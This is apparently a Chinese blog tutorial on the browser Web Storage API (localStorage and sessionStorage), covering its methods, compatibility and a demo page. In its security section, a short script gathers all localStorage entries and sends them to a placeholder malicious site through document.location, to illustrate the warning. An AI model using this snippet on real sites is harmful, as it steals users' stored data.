概述

前篇：web API简介(二)：客户端储存之document.cookie API

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。

Web Storage API就是现代HTML5客户端储存的方法之一。

Web Storage介绍

web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，但是webStorage可以达到5M或更大。

Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。

webStorage只能操作字符串对象，所有的存储值都会为字符串数据。

语法

Storage对象：Web Storage API中作为sessionStorage和localStorage的接口。

sessionStorage：继承自Storage对象，关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)

localStorage：继承自Storage对象，关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)

属性和方法：

(1)Storage.length：长度你懂的。

(2)Storage.key()：以n为参数，返回第n个key。

(3)Storage.getItem()：查操作。

(4)Storage.setItem()：增和改操作。

(5)Storage.removeItem()：删操作。

(5)Storage.clear()：删除所有。

安全性

Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。

下面的代码可以获取使用localStorage存储在本地的所有信息。

    var i = 0;

    var str = "";

    while (localStorage.key(i) != null)

    {

        var key = localStorage.key(i);

        str += key + ": " + localStorage.getItem(key);

        i++;

    }

    document.location="http://your-malicious-site.com?stolen="+ str;

兼容性

兼容五大浏览器，不兼容IE<8(兼容IE8)。

实例

在里面的输入框中设定值，然后关闭浏览器，再打开我的博客的这篇文章，点击运行测试一下即可看到你设定的值(不是默认值)。

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Document</title>

</head>

<body>

    <div id="user_text"></div>

    <input type="text" id="user_input">

    <button onclick="userDo()">输入</button>

    <button onclick="reset()">重置</button>

</body>

    <script type="text/javascript">

        //兼容性

        function storageAvailable(type) {

            try {

                var storage = window[type],

                    x = '__storage_test__';

                storage.setItem(x, x);

                storage.removeItem(x);

                return true;

            }

            catch(e) {

                return e instanceof DOMException && (

                    // everything except Firefox

                    e.code === 22 ||

                    // Firefox

                    e.code === 1014 ||

                    // test name field too, because code might not be present

                    // everything except Firefox

                    e.name === 'QuotaExceededError' ||

                    // Firefox

                    e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&

                    // acknowledge QuotaExceededError only if there's something already stored

                    storage.length !== 0;

            }

        };

        //初始化

        function setText () {

            if (!localStorage.getItem('usertext')) {

                userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

            }

            else {

                userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

            }

        }

        var userText = document.getElementById("user_text");

        var userInput = document.getElementById("user_input");

        if (storageAvailable('localStorage')) {

          setText ();

        }

        else {

          userText.innerText = "你的浏览器不支持web storage!";

        };

        function userDo () {

            localStorage.setItem('usertext', userInput.value);

            setText ();

        };

        function reset () {

            localStorage.removeItem('usertext');

            setText ();

        };

    </script>

</html>

Document

输入
重置

<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};

    //初始化

    function setText () {

        if (!localStorage.getItem('usertext')) {

            userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

        }

        else {

            userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

        }

    }

    var userText = document.getElementById("user_text");

    var userInput = document.getElementById("user_input");

    if (storageAvailable('localStorage')) {

      setText ();

    }

    else {

      userText.innerText = "你的浏览器不支持web storage!";

    };

    function userDo () {

        localStorage.setItem('usertext', userInput.value);

        setText ();

    };

    function reset () {

        localStorage.removeItem('usertext');

        setText ();

    };

&lt;/script>

web API简介(三)：客户端储存之Web Storage API的更多相关文章

  1. web API简介(二)：客户端储存之document.cookie API

    概述 前篇:web API简介(一):API,Ajax和Fetch 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据.document.cook ...

  2. Web API（三）：创建Web API项目

    在本篇文章中将讲解如何使用Visual Studio创建一个新的ASP.NET Web API项目. 在Visual Studio中有两种方式用于创建Web API项目: 1.创建带MVC的Web A ...

  3. web API简介(四)：客户端储存之IndexedDB API

    概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...

  4. Web服务器学习总结（一）：web服务器简介

    一.WEB服务器 1.1.WEB服务器简介 1.Web服务器是指驻留于因特网上某种类型计算机的程序,是可以向发出请求的浏览器提供文档的程序.当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处 ...

  5. J2EE基础之Web服务简介

    J2EE基础之Web服务简介 1.什么是Web服务? 在人们的日常生活中,经常会查询网页上某城市的天气信息,这些信息都是动态的.实时的,它是专业的气象站提供的一种服务.例如,在网上购物时,通常采用网上 ...

  6. Web Api 简介

    ASP.NET Web API 简介  ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...

  7. Redis总结（五）缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结（一）AutoResetEvent的使用介绍（用AutoResetEvent实现同步） C#总结（二）事件Event 介绍总结 C#总结（三）DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列（六）: RabbitMQ 高可用集群

    Redis总结(五)缓存雪崩和缓存穿透等问题   前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...

  8. [转]ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...

  9. ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...

随机推荐

  1. rest_framework常用设置

    1.常用配置 import django_filters from django.db.models import Q from rest_framework.pagination import Pa ...

  2. git clone Failed to connect to 127.0.0.1 port 43213: Connection refused

    不知道为什么使用git clone 的时候报了上面的错误,后面发现是 127.0.0.1 port 43213的端口被代理占用了,可以这样查看: $ env|grep -i proxy 结果是: NO ...

  3. 网络抓包工具 wireshark 入门教程

    Wireshark Wireshark(前称Ethereal)是一个网络数据包分析软件.网络数据包分析软件的功能是截取网络数据包,并尽可能显示出最为详细的网络数据包数据.Wireshark使用WinP ...

  4. Django+Vue.js框架快速搭建web项目

    一.vue环境搭建1.下载安装node.js.2.安装淘宝镜像cnpm,在命令窗口输入: npm install -g cnpm --registry=https://registry.npm.tao ...

  5. DOM 扩展

    1.选择符API,selectors API 可以使用CSS选择符匹配查找节点 1)  querySelector(selector),接受一个CSS选择符,返回调用该函数的节点后代中第一个匹配的元素 ...

  6. java学习笔记（五）:公共类

    什么是公共类,公共类就是和源文件名同名的类,举例来说:类的名称是 public class aaa{},那么源文件就应该是 aaa.java. 每个源文件中只能有一个公共类. 每个源文件可以有很多非公 ...

  7. java项目测试或者不使用request，如何获取webroot路径

    1.使用jdk中的方法,然后根据项目编译后的文件存在的位置,获取到classes目录,然后向上级查询获取String path = EngineTest.class.getResource(" ...

  8. XPath简介及节点

    XPath是一门在XML文档中查找信息的语言. XPath可用来在XML文档中对元素和属性进行遍历. XPath使用路径表达式在XML文档中进行导航. XPath路径表达式:XPath使用路径表达式来 ...

  9. java_18 Collection接口

    1.Collection接口 Collection 层次结构 中的根接口.Collection 表示一组对象,这些对象也称为 collection 的元素.一些 collection 允许有重复的元素 ...

  10. vba文件对比并高亮显示

    每月月底要和人事要离职人员名单,并账号列表里删除已经离职人员的账号,如下代码通过将账号列表与人事发来的离职清单进行对比,高亮找出离职人员的账号,并进行删除. Sub DeleteMain() Dim ...